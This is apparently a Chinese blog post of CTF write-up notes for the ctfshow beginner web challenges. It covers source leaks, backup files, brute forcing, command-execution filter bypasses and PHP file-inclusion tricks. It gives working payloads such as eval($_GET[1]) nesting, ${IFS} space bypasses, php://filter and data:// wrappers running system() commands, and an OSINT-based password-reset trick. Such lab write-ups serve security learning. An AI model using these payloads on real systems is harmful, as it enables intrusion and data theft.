ctfshow Web入门1-20+

web信息搜集

web1 源码

F12查看源代码或者Ctrl+U都可以
(XL7_$PK%FUS0VF_2YF(VNB.png

web2 js前台拦截

做法和1一样,只是过滤了F12只能用Ctrl+U

web3 响应头

![RXIQJ{1K6DO_4CZ_P6L7.png
抓个包,flag在返回包

web4 robots.txt

![Z7%XMFK8K@4AKJ)PZ6ON5N.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1677043952287-7635ccc6-ec45-4ebd-ab71-7b4bfdafd370.png#averageHue=%23fefefe&clientId=u0fe8cba9-a182-4&from=paste&height=29&id=u3f891280&originHeight=44&originWidth=498&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=9333&status=done&style=none&taskId=u3b6203ae-b6c4-4cdb-8a3c-dac9a5191f2&title=&width=332) 提示有说到robots 所以查看robots.txt ![29D2B])$T0@{E]R{H2UBG.png
查看/flagishere.txt
![J{Y}JKO%WN(W]JKGL800_F.png

web5 index.phps

![{Y7%9MV9_4IP$%UI$3%K4K.png
看到提示,和php源码有关熟悉
phps文件泄露,phps存放着php源码,可通过尝试访问/index.phps读取,或者尝试扫描工具扫描读取。
![]E{8]~4OZKRSA)ISPE{HF15.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1677044838819-72af1bfb-b50a-4685-b5b8-33053c231605.png#averageHue=%23dee3e6&clientId=u0fe8cba9-a182-4&from=paste&height=27&id=u348f1b25&originHeight=41&originWidth=748&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=6773&status=done&style=none&taskId=ud9e76abe-9634-446f-9809-498c3b61380&title=&width=498.6666666666667)、
会下载一个php文件
![SI{N%L]V41]5FP3DE}AU1CO.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1677044884696-c1cd8339-3578-4d88-b01b-9b962f364eff.png#averageHue=%23fdfbf2&clientId=u0fe8cba9-a182-4&from=paste&height=607&id=ucc47cc82&originHeight=911&originWidth=1540&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=92001&status=done&style=none&taskId=u9bf846f9-9aa8-4198-bf4f-b712eda3788&title=&width=1026.6666666666667)
打开文件注释里就有flag

web6 www.zip

%%JR@R6EC2IHD5I~R3%(({A.png
网站备份压缩文件 漏洞成因
在网站的升级和维护过程中,通常需要对网站中的文件进行修改。此时就需要对网站整站或者其中某一页面进行备份。
当备份文件或者修改过程中的缓存文件因为各种原因而被留在网站 web 目录下,而该目录又没有设置访问权限时,便有可能导致备份文件或者编辑器的缓存文件被下载,导致敏感信息泄露,给服务器的安全埋下隐患。
该漏洞的成因主要有是管理员将备份文件放在到 web 服务器可以访问的目录下。
该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载,利用。源代码中所包含的各类敏感信息,如服务器数据库连接信息,服务器配置信息等会因此而泄露,造成巨大的损失。
被泄露的源代码还可能会被用于代码审计,进一步利用而对整个系统的安全埋下隐患。
.rar .zip .7z .tar.gz .bak .swp .txt
)Q6_XBFHU0N(9B}%S009_~H.png
输入常见的源码包名字www.zip
会下载一个压缩包
压缩包里的文件提示flag在/fl000g.txt
直接访问得到flag

web7 git

![0)$N]_1)YBAUAB87GZU6A.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1677125012645-f55fa602-0d66-4ae7-9bdd-15e8bea778a5.png#averageHue=%23fefefe&clientId=u6cdcc7c3-9f7d-4&from=paste&height=41&id=u98233143&originHeight=61&originWidth=473&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=8731&status=done&style=none&taskId=uc55c4141-3a93-4d5b-93b9-3f6e2ad98b5&title=&width=315.3333333333333)
根据提示
版本控制,想到常用的版本控制工具git,svn,尝试访问.git和.svn,在.git中发现flag
此题通过访问/.git/即可获得flag
![O(1{MQJ]]R}`RCDS$EBNN.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1677125286113-fbbda996-71a2-492a-a2f4-468cc1dc5410.png#averageHue=%23e0c088&clientId=u6cdcc7c3-9f7d-4&from=paste&height=76&id=u61e48cbf&originHeight=114&originWidth=952&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=19624&status=done&style=none&taskId=u89795bc1-b389-4837-af5b-4b99a31b505&title=&width=634.6666666666666)

web8 svn

版本控制器,不是git泄露就是svn泄露
此题通过访问/.svn/即可获得flag

web9 vim缓存

通过访问index.php.swp,访问首页中的交换文件下载缓存文件
![`1G~AE9PGWZP)OU9]HZS]VC.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1677125882634-5a0a0b28-9dcf-4d58-bd1d-01a7e249b6f5.png#averageHue=%23e7eaed&clientId=u6cdcc7c3-9f7d-4&from=paste&height=37&id=u9704d7ab&originHeight=55&originWidth=198&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=2372&status=done&style=none&taskId=u94c3cc8c-50db-4c5c-9f83-ad3ef31db9b&title=&width=132)
vim缓存泄露,在使用vim进行编辑时,会产生缓存文件,操作正常,则会删除缓存文件,如果意外退出,缓存文件保留下来,这是时可以通过缓存文件来得到原文件,以index.php来说,第一次退出后,缓存文件名为 .index.php.swp,第二次退出后,缓存文件名为.index.php.swo,第三次退出后文件名为.index.php.swn

查看cookie方法教程
https://jingyan.baidu.com/article/fedf073780da6335ac897799.html
9VK%JGM7M_GI1O90RD7S%37.png
抓个包,就在里面
然后解码就可以了

web11 域名解析

这题应运了域名解析查询
8S0`%$M8BM$9C(9VHQXTCFM.png
flag就在txt中

web12 公开信息

$%{2JG_VX8`FG4$RA{BUN6N.png
image.png
根据提示在网页最下面发现电话号码
根据提示访问admin文件
image.png
登录成功后就可以找到flag

web13 技术文档敏感信息

页面滑道最下方发现小写的document
image.png
访问即可获得一些敏感信息
image.png
注意这里是.pdf文件
然后通过访问/system1103/login.php,并用其泄露的账号密码进行登录
就可以找到flag

web14 editor

根据题目访问/editor/
image.png
在编辑器中有很多个地方有 xx 空间,在里面可以看到很多目录
在其图片空间中找到flag路径
image.png
/editor/attached/image/var/www/html/nothinghere/fl000g.txt
/nothinghere/fl000g.txt
访问得到 flag

web15 邮箱泄露

进入网址后可以在底部看到一个qq邮箱地址
通过搜索这个QQ号,可以知道这个号主是陕西西安人
进入admin
发现有一个忘记密码
发现密保问题是我所在的城市
输入西安就可以重置密码
登录就可以获得flag

web16 tz.php

题目提示对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
通过提示我们直接访问tz.php
image.png
点击PHPinfo
就可以找到flag了

web17 backup.sql

![O9NE4VVMU[L`B{BZJTD5FH.png
根据提示直接访问backup.sql
在下载的文件里就有flag

web18 js

这类题都是查看源码
找js文件
找到胜利条件
解密
根据谐音\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b
image.png
访问110.php
得到答案

web19 前端密钥

查看源代码
·7NA@X0H)TP.png

web20 mdb文件

mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱库了。
原理:mdb文件是早期asp+access构架的数据库文件 直接查看url路径添加/db/db.mdb 下载文件通过二进制编辑软件打开或者通过EasyAccess.exe打开搜索flag即可
根据题目提示访问路径/db/db.mdb,下载mdb文件
用access打开发现有问题打不开用Excel打开
![1YU50MZ_GY}}FOHAY93C7N.png

web爆破

web21(custom iterator+编码)

image.png
注意到有一串base64密文
image.png
解密后发现是加密后的账号和密码
image.png
image.png
然后爆破
image.png
导入字典
image.png
因为base64有=所以要关掉
image.png
爆破
M9[_{AK4WZCZ32P1LS1]K8U.png

web22(子域名爆破)

用Layer子域名爆破,找到flag.ctfer.com
image.png
image.png

web23(substr函数和爆破脚本)

![MT[%9H]Y}~R]F%1HMUYTP4.png
substr() 函数返回字符串的一部分
用法
![QQRFRWKTNCQCRY]$WG3$BWP.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679752940360-cb523fe2-2d5c-4c6c-9601-057aff8d67f7.png#averageHue=%23fcfbfb&clientId=u8ce4f912-6483-4&from=paste&height=349&id=u2b6874b7&originHeight=524&originWidth=1413&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=81695&status=done&style=none&taskId=uead32a28-22f8-4a61-9be9-a3cd75605e4&title=&width=942)
1679753382(1).png
自定义爆破,就是太慢了
HQ7E2QV15E8E5@4RR$`F{(D.png

<?php
error_reporting(0);

$string = '0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm';
for($a=0;$a<strlen($string);$a++){
    for($b=0;$b<strlen($string);$b++){
        for($c=0;$c<strlen($string);$c++){
            $flag = $string[$a].$string[$b].$string[$c];
            $token = md5($flag);
            if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
                if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
                    echo $flag."\n";
                }
            }
        }
    }
}
?>

两种方法都可以
C34MO017P2L9)C_%DN0%5E3.png
随便选一个就可以
![)I)%@Y3HZN`FAHK]GG~TD6D.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679754180048-bacd5eb8-b7fd-46a2-b18e-094820b86f70.png#averageHue=%23ececec&clientId=u8ce4f912-6483-4&from=paste&height=42&id=uf851d16c&originHeight=63&originWidth=417&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=6579&status=done&style=none&taskId=u7718f6f4-2e47-4537-94a9-0663fcf1295&title=&width=278)

web24(随机数生成器与取整)

I~RFNFRZVTOKK{T08DOFY}U.png
mt_srand()函数用法
播种 Mersenne Twister 随机数生成器
**intval() **函数用于获取变量的整数值
这道题显然是伪随机数,真正的随机数是不可能的。
在php中,当mt_srand即种子被确定后,后面生产的随机数都可以计算出来。
L57MXAIK7SAOV01Q5_6}B6V.png
X8~M2MF`BK(Z1U4S%@0R{5R.png
ctfshow{49fe81ca-b6a7-493b-ade9-36fadd0f6c97}

web25(伪随机数)

php的伪随机数,结合代码审计。根据题目开始输入r=0,可以得到第一次伪随机数的相反数。也即可以得到第一次伪随机数。
![R_REU%7B2%WFVDPRMWPF.png
mt_rand=452052685
这个没搞太明白,找大佬的答案QAQ

web26

在同意界面抓包
A_8WMOTHBUUS9RXICZ95{7S.png
这个题有非预期
![9D79J4C2%HW6H[4BR$AP`5.png
这样直接出flag

正常做是这样
image.png
字典用web21就可以了
image.png

web27(日期爆破)

image.png
image.png
对身份证的日期爆破
![O_(0AKCH]Q(YN[]I{6LU.png
V}~_7[U]QW45VG%SK$U5J7Y.png
[IKO1%I7G@OL898$V8X`9]3.png
登录就可以得到
YMX[ZQNIJWM{%T8}8J])LZK.png

web28(暴力破解目录)

![9W65U3IY)V`XQO5SVQJBVK.png
发现没有其它提示,直接抓包
![_M]ZD2}6Z)GBXG6))XN9I1.png
提示要对目录爆破
ITQN2TNBFD8Y0JCA4O6E)$F.png

web命令执行

web29(cat与cp命令和?*的应用)

方法:1

应用cp命令后直接查看flag
![TX[C2IC$L@HXX[_)DSQA.png

方法:2

![1JG8M(6KO_O0_BQ)7XP`~I.png

web30(反引号``的应用)

![Q4O(CDZB31ESX9%IOO@)(N.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679813002982-a4823df8-60b3-4f57-9699-88794945e59a.png#averageHue=%23242529&clientId=ub5610d1e-08d6-4&from=paste&height=553&id=u23e4fcb7&originHeight=829&originWidth=649&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=72803&status=done&style=none&taskId=u32ecf58d-3590-4857-868d-bb87e3b3295&title=&width=432.6666666666667) ![($XJS3O]VH6NCWI)_0]~7.png

web31(空格过滤,cat过滤)

%CPMS0W2UUWLIPG@IY15`YO.png

cat过滤时,可以替代绕过的姿势

1.tac:从最后一行开始显示,是cat的反向显示
2.more:一页一页的显示档案内容
3.less:与more类似
4.head:查看文档的前几行
5.tail:查看文档的后几行
6.nl:显示的时候,顺便输入行号
7.od:以二进制的方式读取档案内容
8.vi:一种编辑器
9.uniq:查看
10.vim:一种编译器

空格过滤时,可以替代绕过的姿势

1.${IFS}
2.$IFS$1
3.${IFS
4.%20
5.<和<>重定向符
6.%09
![T89$%MO48]2W{IK~J_I)L}V.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679814154383-a068244d-f1a2-4986-9ea9-7780a2cbb1b1.png#averageHue=%23fefefe&clientId=ub5610d1e-08d6-4&from=paste&height=772&id=ua368e75f&originHeight=1158&originWidth=1178&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=61548&status=done&style=none&taskId=u445d1173-2032-4561-a534-9d880338d8b&title=&width=785)
![T89$%MO48]2W{IK~J_I)L}V.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679814140170-584a4e5d-2669-4916-9202-99eaf4fdd276.png#averageHue=%23fefefe&clientId=ub5610d1e-08d6-4&from=paste&height=772&id=u542e7c4d&originHeight=1158&originWidth=1178&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=61548&status=done&style=none&taskId=u9dd78ec4-2538-4c0c-81f9-e4d3cc7ecf2&title=&width=785)
再附上大佬们的payload
?c=eval($_GET[1]);&1=system('cat flag.php');嵌套脱离了c的正则判断
?c=echostrings%09f*;
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()。

web32(嵌套文件包含,利用伪协议文件包含,再base64解码

没有分号,最后一个语句可以使用?>来绕,没有空格可以用%0a来绕过
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
U7G0()F$_5V~(ZKAD%)3K@3.png
但是如果直接包含flag.php,发现啥都没有,因为flag.php包含进去了,但是并没有输出,所以要用伪协议再base64解码
如果include被过滤了,可以用require来代替
![(SVI%WE)LBD9D]%$`AJQH_F.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679816541432-e6c73fdf-7347-4801-8dfe-533456976c50.png#averageHue=%236c89a0&clientId=u00e655bd-ef75-4&from=paste&height=438&id=uc40ac7cd&originHeight=657&originWidth=1224&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=217011&status=done&style=none&taskId=uc378b3fc-241a-45ae-8ee1-f5241f22d37&title=&width=816)
gpt的解释

web33(伪协议)

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

![FD~NWND0S3EJ}UX@]PZ%GD8.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679985525969-7866f307-0223-4f04-99db-7ecf10be9330.png#averageHue=%23ababab&clientId=ubd5efeba-cde5-4&from=paste&height=903&id=ub4604f9c&originHeight=1354&originWidth=2538&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=188289&status=done&style=none&taskId=u071007f3-6fb1-4bb9-b4cd-1e01d2f58ee&title=&width=1692)
解码即可

web34~36(include)

其中36需要用字母(这里可以不用单引号,目的是为了向下兼容)

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);

不用括号的函数
echo print isset unset include require
$0a 换行的意思
这里用文件包含,然后继续用LFI
/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
AU95QBDL7C6$U076DE_X705.png

web37(data协议)

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
}

这里使用data协议,先试试能不能执行
J258C)$DK%0QVU4QD}KE2YL.png

?c=data://text/plain,<?php system("mv fla?.php 1.txt")?>

![%506$L`7MFMQ9C31XFGW~]G.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1680004266922-fd2081f3-e78a-4956-af85-6ef59bd132f3.png#averageHue=%23fbf9f8&clientId=ubd5efeba-cde5-4&from=paste&height=69&id=uff5ae2cd&originHeight=104&originWidth=1047&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=14531&status=done&style=none&taskId=uca3bde4d-9b5a-4ad9-b4b0-c7efb81b3c7&title=&width=698)

web38(短标签)

data://text/plain,<?=system("mv fla?.php 1.txt")?>

web39

http://9f117863-a5fd-4df5-a337-89a201ae1cf9.challenge.ctf.show/?c=data://text/plain,

web40

web文件包含

web78(base64-encode)

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

这里使用

?file=php://filter/read=convert.base64-encode/resource=flag.php
两个都可以
?file=php://filter/convert.base64-encode/resource=flag.php

![5%_910_5]547JEAGSK3J870.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679922302436-687fcf7b-1085-4e91-b3eb-da147fda9add.png#averageHue=%23aaaaa9&clientId=ube50a0b6-5121-4&from=paste&height=959&id=u2eb22936&originHeight=1439&originWidth=2560&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=344434&status=done&style=none&taskId=u940ed0c7-94da-47f4-ba9f-bf9ac2c52db&title=&width=1706.6666666666667)
方法2:
bp抓包,给file传参?file=php://input然后在post输出想要执行的代码
![B4_ID087IUC]R$29_JIJSRM.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679922177462-558e988c-91ba-48b5-8e52-04bfa0af402d.png#averageHue=%23e6b08a&clientId=ube50a0b6-5121-4&from=paste&height=347&id=ua3325afb&originHeight=520&originWidth=1179&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=171117&status=done&style=none&taskId=ud35e456e-7db5-427c-b4d6-24f3b9b9825&title=&width=786)
![GUU8S1(ZX8@QI7WH]60A@V.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679922211335-3d9729d3-0a8f-4134-846e-6e427b65d309.png#averageHue=%23f9f5f5&clientId=ube50a0b6-5121-4&from=paste&height=97&id=u2e9ce82a&originHeight=146&originWidth=600&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=25549&status=done&style=none&taskId=u1dec0cfd-7797-4d7e-b429-fe4372d61c3&title=&width=400) ![X)V$5V(3K09T)M}ZLI99G.png

web79(str_replace)

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

知识点:str_replace
str_replace — 子字符串替换

str_replace(
    array|string $search,
    array|string $replace,
    string|array $subject,
    int &$count = null
): string|array

实例
把字符串 "Hello world!" 中的字符 "world" 替换为 "Shanghai":

php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码 

payload:?file=data://text/plain,<?= system('tac flag.???');?>
逗号后面是要执行的php代码
或者
payload:?file=data://text/plain;base64,PD89IHN5c3RlbSgndGFjIGZsYWcuPz8/Jyk7Pz4=
逗号后面是要执行的php代码的base64加密形式
 
注:data://可以用data:代替

当然这样也可以
![W]KYMU3@D9ABPX%4US@IR`W.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679923027148-684f16c2-38c6-42ef-80e6-8ca4a05d3310.png#averageHue=%23fdfdfd&clientId=ue8e1efce-2eb0-4&from=paste&height=143&id=u5338afd8&originHeight=215&originWidth=1113&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=50917&status=done&style=none&taskId=u86fe8478-8b7b-4e9b-8033-e5116a2c04a&title=&width=742)

posted @ 2023-08-17 21:59  Sdegree  阅读(81)  评论(0编辑  收藏  举报